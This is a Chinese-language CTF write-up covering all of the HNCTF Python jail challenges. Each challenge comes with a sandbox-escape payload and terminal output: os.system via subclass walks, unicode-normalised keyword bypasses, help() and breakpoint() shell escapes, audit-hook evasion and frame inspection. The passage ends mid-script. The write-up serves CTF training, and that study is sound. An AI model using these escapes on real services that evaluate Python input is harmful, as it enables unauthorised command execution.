pyjail intro...

HNCTF Jail All In One

前言

这个前言是2022年末补上的,原因是现在各大赛事或多或少都会出现一些pyjail的题目,非常感谢空白爷在今年的HNCTF让我大开眼界也让我进入了r3这个大组织。

在最近的pwnhub冬季赛上,misc类型出现了一道Python的/proc/self/mem attack,通过f.seek()来修改内存注入shellcode。

最后,由于Python3中的unicode特性,所以很常见unicode碰撞的题目,这里写下一个简短的脚本来获取一些常用的碰撞unicode

from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

接下来就是HNCTF所有的Pyjail的WP分享时间,个人写的比较简短,有不懂的可以联系我。由于我也只在这个站点的个人博客中分享了这篇文章,所以看到的都是有缘人!

[Week1]python2 input(JAIL)

典中典py2

__import__("os").system("cat flag")
woodwhale@win10  C:\ -> nc 43.143.7.97 28646

              _   _      ___        ___    _____             _    _ _
             | | | |    / _ \      |__ \  |_   _|           | |  | | |
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |
 |_|    |___/                                         |_|

Welcome to the python jail
But this program will repeat your messages
> __import__("os").system("cat flag")
flag=NSSCTF{5ce99ba2-4622-4c35-be29-83cd252e681d}
0

[Week1]calc_jail_beginner(JAIL)

一把梭

open("flag").read()
woodwhale@win10  C:\ -> nc 43.143.7.97 28854

  _     ______      _                              _       _ _
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |
              |___/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open("flag").read()
Answer: flag=NSSCTF{1c738cd1-51f3-4805-bcbb-505f2ea2231e}

[Week1]calc_jail_beginner_level1

过滤了部分字符,使用chr拼接flag

open(chr(102)+chr(108)+chr(97)+chr(103)).read()
woodwhale@win10  C:\ -> nc 43.143.7.97 28597

  _                _                           _       _ _   _                _ __
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Answer: flag=NSSCTF{297b5f3c-f733-4bcf-9db6-dfae8eb92451}

[Week1]calc_jail_beginner_level2

这题我是非预期出来的

限制了输入的字符长度为13

我的payload

eval(input())

这样就可以不限制输入并且执行了

woodwhale@win10  C:\ -> nc 43.143.7.97 28768

  _                _                           _       _ _   _                _ ___
 | |              (_)                         (_)     (_) | | |              | |__ \
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / /
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> eval(input())
print(open("flag").read())
flag=NSSCTF{1c96fd89-85f5-4525-b8e9-d6e08d0b0daa}

Answer: None

[Week1]calc_jail_beginner_level2.5(JAIL)

2.5把level2的非预期修了,但没完全修,ban了eval、input、exec这几个字符,但是python存在unicode的注入,所以直接调用level2的payload改个unicode就完事了

𝓮val(inp𝓾t())

但是传输带有unicode的payload,我win10上的nc是无法输入的,于是我就用了pwntools

from pwn import *

io = remote("43.143.7.97",28437)
io.sendlineafter("Enter your expression and I will evaluate it for you.","𝓮val(inp𝓾t())")
io.interactive()
[*] Switching to interactive mode

> $ open("flag").read()
Answer: flag=NSSCTF{5438df21-3c5d-4d14-a3dd-3b7fe0e19105}

写完了和空白爷交流才知道,还有一个叫作breakpoint() 的调试函数,进去就可以执行其他的命令咯

breakpoint()
woodwhale@ubun ❯ nc 43.143.7.97 28437                                                                               

  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open("flag").read()
'flag=NSSCTF{5438df21-3c5d-4d14-a3dd-3b7fe0e19105}\n'
(Pdb) 

[Week1]calc_jail_beginner_level3

限制了长度为7,那么肯定有什么非常简短的函数调用可以执行shell或者io

谷歌发现了一个文章 Python eval 利用技巧 提到help()方法会执行more这个程序,然后就可以执行shell了

help()
help> sys
Help on built-in module sys:

NAME
    sys

MODULE REFERENCE
    https://docs.python.org/3.8/library/sys

    The following documentation is automatically generated from the Python
    source files.  It may be incomplete, incorrect or include features that
    are considered implementation detail and may vary between Python
    implementations.  When in doubt, consult the module reference at the
    location listed above.

DESCRIPTION
    This module provides access to some objects used or maintained by the
    interpreter and to functions that interact strongly with the interpreter.

    Dynamic objects:

    argv -- command line arguments; argv[0] is the script pathname if known
    path -- module search path; path[0] is the script directory, else ''
    modules -- dictionary of loaded modules
--More--#! cat flag
! cat flag
flag=NSSCTF{f8407110-e964-4b5a-ae2a-edba93866c80}
------------------------
--More--

[WEEK2]calc_jail_beginner_level4(JAIL)

因为chr被ban了,所以字符串构造就换一种方式,使用bytes([]).decode()

payload为open("flag").read()

open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
woodwhale@win10  C:\ -> nc 1.14.71.254 28778

  _                _                           _       _ _   _                _ _  _
 | |              (_)                         (_)     (_) | | |              | | || |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
Answer: flag=NSSCTF{73995f5e-ce26-4587-adb2-934f36685f5f}

[WEEK2]calc_jail_beginner_level4.0.5(JAIL)

Banned loader,import,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!

仍然选择使用bytes([]).decode()的形式

最终的payload是system("cat flag")

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
woodwhale@win10  C:\ -> nc 1.14.71.254 28200

  _                _                           _       _ _   _                _ _  _    ___   _____
 | |              (_)                         (_)     (_) | | |              | | || |  / _ \ | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| | | || |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |_| | ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)\___(_)____/
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
flag=NSSCTF{4c092847-3524-47dc-831c-505fb19c0f1c}
Answer: 0

[WEEK2]calc_jail_beginner_level4.1(JAIL)

Banned loader,import,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!

ban了bytes ,那么得换一个方法获取bytes,由于之前做的那个侧信道,一下子就想到了用type来获取bytes类

慢慢来,这题flag不叫flag,得rce执行ls查看文件名,也很简单

申明一下关系先:

bytes = type(str(1).encode())
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()

<class 'os._wrap_close'> == [].__class__.__mro__[-1].__subclasses__()[-4]

# 执行system(???)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)

这下同理反抽就可以执行system("ls")然后cat flag了

woodwhale@win10  C:\ -> nc 1.14.71.254 28025

  _                _                           _       _ _   _                _ _  _  __
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
flag_y0u_CaNt_FiNd_mE  server.py

这里只展示system("ls"),同理可以cat flag噢(其实是懒得再去复现

[WEEK2]calc_jail_beginner_level4.2(JAIL)

Banned loader,import,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

byte 、加号都被ban了,可以用__add__来替换加号,然后也是用上一题的方法去构造system("ls")然后cat flag

这里就不分析了,直接上我的payload吧,如果你懂了上面一题,那么这一题不成问题!

写了个脚本来自动生成字符串

lst = []
for i in "cat flag_y0u_CaNt_FiNd_mE":
    lst.append(f"type(str(1).encode())([{ord(i)}])")

print("("+lst.pop(0),end='')
for i in lst:
    print(f".__add__({i})",end='')

print(").decode()")

执行就完事了

woodwhale@win10  C:\ -> nc 1.14.71.254 28737
  _                _                           _       _ _   _                _ _  _   ___
 | |              (_)                         (_)     (_) | | |              | | || | |__ \
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_   ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| / /
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ / /_
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____|
              __/ |                          _/ |
             |___/                          |__/                                                                        


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())
flag=NSSCTF{c5376f46-ca57-4d2f-96ec-77b24a3e8483}
Answer: 0

[WEEK2]calc_jail_beginner_level4.3(JAIL)

ban了type,但是又学到了一招list(dict(system=114514))[0]可以获取system这个字符串

直接执行system(sh)

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])

然后就进入了shell,可以为所欲为了

[WEEK2]calc_jail_beginner_level5(JAIL)

盲pwn

但是这题太非预期了,可以直接open然后read

open("flag").read()
woodwhale@win10 C:\ -> nc 1.14.71.254 28190

  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/


It's so easy challenge!
Seems flag into the dir()
> open("flag").read()
'flag=NSSCTF{905f2c59-aaa3-4e17-9431-7a2f87280f53}\n'

直接用open read把源码啪啦下来

#It's an challenge for jaillevel5 let's read your flag!
import load_flag

flag = load_flag.get_flag()

def main():
    WELCOME = '''
  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/

'''
    print(WELCOME)
    print("It's so easy challenge!")
    print("Seems flag into the dir()")
    repl()


def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, my_global_dict)

if __name__ == '__main__':
    main()

发现调用了一个load_flag

class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"

class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())

正常思路可能是调用get_flag方法,或者是去对my_flag进行处理

[WEEK2]calc_jail_beginner_level5.1(JAIL)

盲pwn

__import__还有open都给ban了

根据提示dir()

> dir()
['__builtins__', 'my_flag']

看到有个my_flag,使用dir跟进

> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']

看到一个flag_level5

继续用dir跟进

> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

发现有encode方法,直接调用梭哈

> my_flag.flag_level5.encode()
b'flag=NSSCTF{3cce1d9b-c848-4600-85ec-41089157c3bd}\n'

[Week1]lake lake lake

使用globals()获取全局的变量

woodwhale@win10  C:\ -> nc 43.143.7.97 28313

  _       _          _       _          _       _
 | |     | |        | |     | |        | |     | |
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|


Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f4b78ae8ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f4b78c87d90>, 'backdoor': <function backdoor at 0x7f4b78b49fc0>, 'WELCOME': '\n  _       _          _       _          _       _        \n | |     | |        | |     | |        | |     | |       \n | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|

                            \n', 'input_data': '1'}

获取key为a34af94e88aed5c34fb5ccfe08cd14ab

直接进入backdoor

woodwhale@win10  C:\ -> nc 43.143.7.97 28313

  _       _          _       _          _       _
 | |     | |        | |     | |        | |     | |
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|


Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open("flag").read()
flag=NSSCTF{605b3e28-a9f5-47aa-9b02-e7bdb328fee2}

[Week1]l@ke l@ke l@ke(JAIL)

字符长度不超过7

调用help()进入函数,输入server查看key

help> server
Help on module server:

NAME
    server

DESCRIPTION
    #it seems have a backdoor as `lake lake lake`
    #but it seems be limited!
    #can u find the key of it and use the backdoor

FUNCTIONS
    backdoor()

    func()

DATA
    WELCOME = '\n  _         _          _         _          _  ...       ...
    input_data = '1'
    key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
    /home/ctf/server.py

得到key为95c720690c2c83f0982ffba63ff87338,进入backdoor

woodwhale@win10  C:\ -> nc 43.143.7.97 28033

  _         _          _         _          _         _
 | |  ____ | |        | |  ____ | |        | |  ____ | |
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _  | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/


Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>open("flag").read()
flag=NSSCTF{0216c3ca-1bef-4c69-a3cc-a7763d02b053}

[WEEK2]laKe laKe laKe(JAIL)

这题又是非预期,原因是没ban open

上来就是hook了大部分函数

def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

但是没ban open

分析关键猜数字的函数

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

需要猜出right_guesser_question_answer才可以获取flag

同时还给sys.stdout、sys.seterr重定向了,调用print无法输出

但是可以通过__import__("sys").__stdout__.write()去输入

那么思路就是,读文件,然后输出

我是用的是os.open去打开文件,然后使用os.read去读文件(当然也可以__import__('io').open("flag").read()

__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
woodwhale@win10  C:\ -> nc 1.14.71.254 28680

  _       _  __      _       _  __      _       _  __
 | |     | |/ /     | |     | |/ /     | |     | |/ /
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _  | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|


Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
flag=NSSCTF{3d39494f-209e-417b-900b-3a1e4adedd97}
Guess game end!!!

[WEEK2]lak3 lak3 lak3(JAIL)

非常的绝,上来直接把io、system之类的函数全给hook掉了,还把上一题的open等更多的函数给ban了

def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

分析代码需要猜对数字才能获取flag

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception as e:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        print(e)
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

正确的答案存放在right_guesser_question_answer

如何获取该值成了一个问题

翻阅了两个多小时的文档,终于在官方文档找到一个有趣的函数

image-20221008160057008

可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0就会获取eval的调用栈帧

所以我们得deep一层

__import__("sys")._getframe(1)

我们用题目测试看看是啥情况

这里有一个小trick,使用__import__("sys").__stdout__.write去标准输出,这也是上一个非预期的输出方法

__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
<frame at 0x7fa9776fd590, file '/home/ctf/./server.py', line 31, code guesser>Guess game end!!!

这里frame对象指向了'/home/ctf/./server.py'这个file,那么直接调用f_locals属性查看变量

__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
{'game_score': 0, 'right_guesser_question_answer': 1933193371827, 'challenge_original_stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>}Guess game end!!!

可以看到获取到了right_guesser_question_answer的值

所以最后的payload就是

int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
you are really super guesser!!!!
NSSCTF{0a6ff402-5404-466f-a234-71305ae5d465}

[WEEK2]4 byte command

最简单的一题?

看题目应该是限制了4个字符

直接sh一把梭

woodwhale@win10  C:\ -> nc 1.14.71.254 28759

  _                _                           _       _ _   _                _ _  _
 | |              (_)                         (_)     (_) | | |              | | || |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> sh
sh: 0: can't access tty; job control turned off
$ ls
flag  server.py
$ cat flag
flag=NSSCTF{747a9a12-d7a9-46a9-a92b-001f1da2252a}
$

[WEEK2]tyPe Ch@nnEl

个人感觉是最巧妙的一题!果然测信道还得是测信道

题目只给了一个type的方法,但是在python中,type就是万物,所以可以构造出大部分的数据类型

str = type(str(0))
list = type(type(flag).mro())(flag)
bytes = type(flag.encode())
bool = type(flag.istitle())
int = type(flag.find(flag))
tuple = type(flag.partition(flag))

我这里是恰好看到了字符串有一个index()的方法,如果字符串中存在某个字符,就返回该字符下标,反之报错

更具报错这个特性来侧信道判断数据是啥

然后bytes有一个方法叫作hex(),可以将字符转成hex形式的字符串

于是我的侧信道的思路就是

  • 先将flag转为list,然后pop()出来每一个位置的字符、
  • 获取该字符后,转为bytes类型,调用hex()方法,获取字符串
  • hex得到的字符串一定是0-f
  • 我们可以用str(0)str(9)构造0~9的字符串
  • 通过hex后的字符的index(str(7))这样的方法来判断这个字符的第一位是否有7,第二位是否有7
  • 当然,这样的到的判断是不完整的,因为缺少了a~f的字符,但是通过上面的方法还是可以获得一些已知的flag的
  • 通过部分已知的flag的转化,例如调用hex取第2位,可以获取剩下的a-e的字符串
  • 至此,还不确定的字符只剩下了f,就可以推断出所有的flag值

我的测试脚本如下,一共测了8次,加起来一共花费了30多分钟,主要是思考时间考虑了大概2小时才想到如何使用,以前根本没接触过这种转换,不得不感慨py的牛逼!

from pwn import *

import warnings
warnings.filterwarnings("ignore")

context.timeout = 2
# context.log_level = "debug"
logging.disable(logging.ERROR)
logging.disable(logging.CRITICAL)

# (type(type(flag).mro())((((type(type(flag).mro())(flag)).pop(0).encode()).hex()))).pop(0).index((type(flag))(0))
def test1():
    """首次测试
    list(list(flag).pop(?).encode().hex()).pop(?).index(str(?))
    """
    flag = ""
    for i in range(24):
        c = "0x"
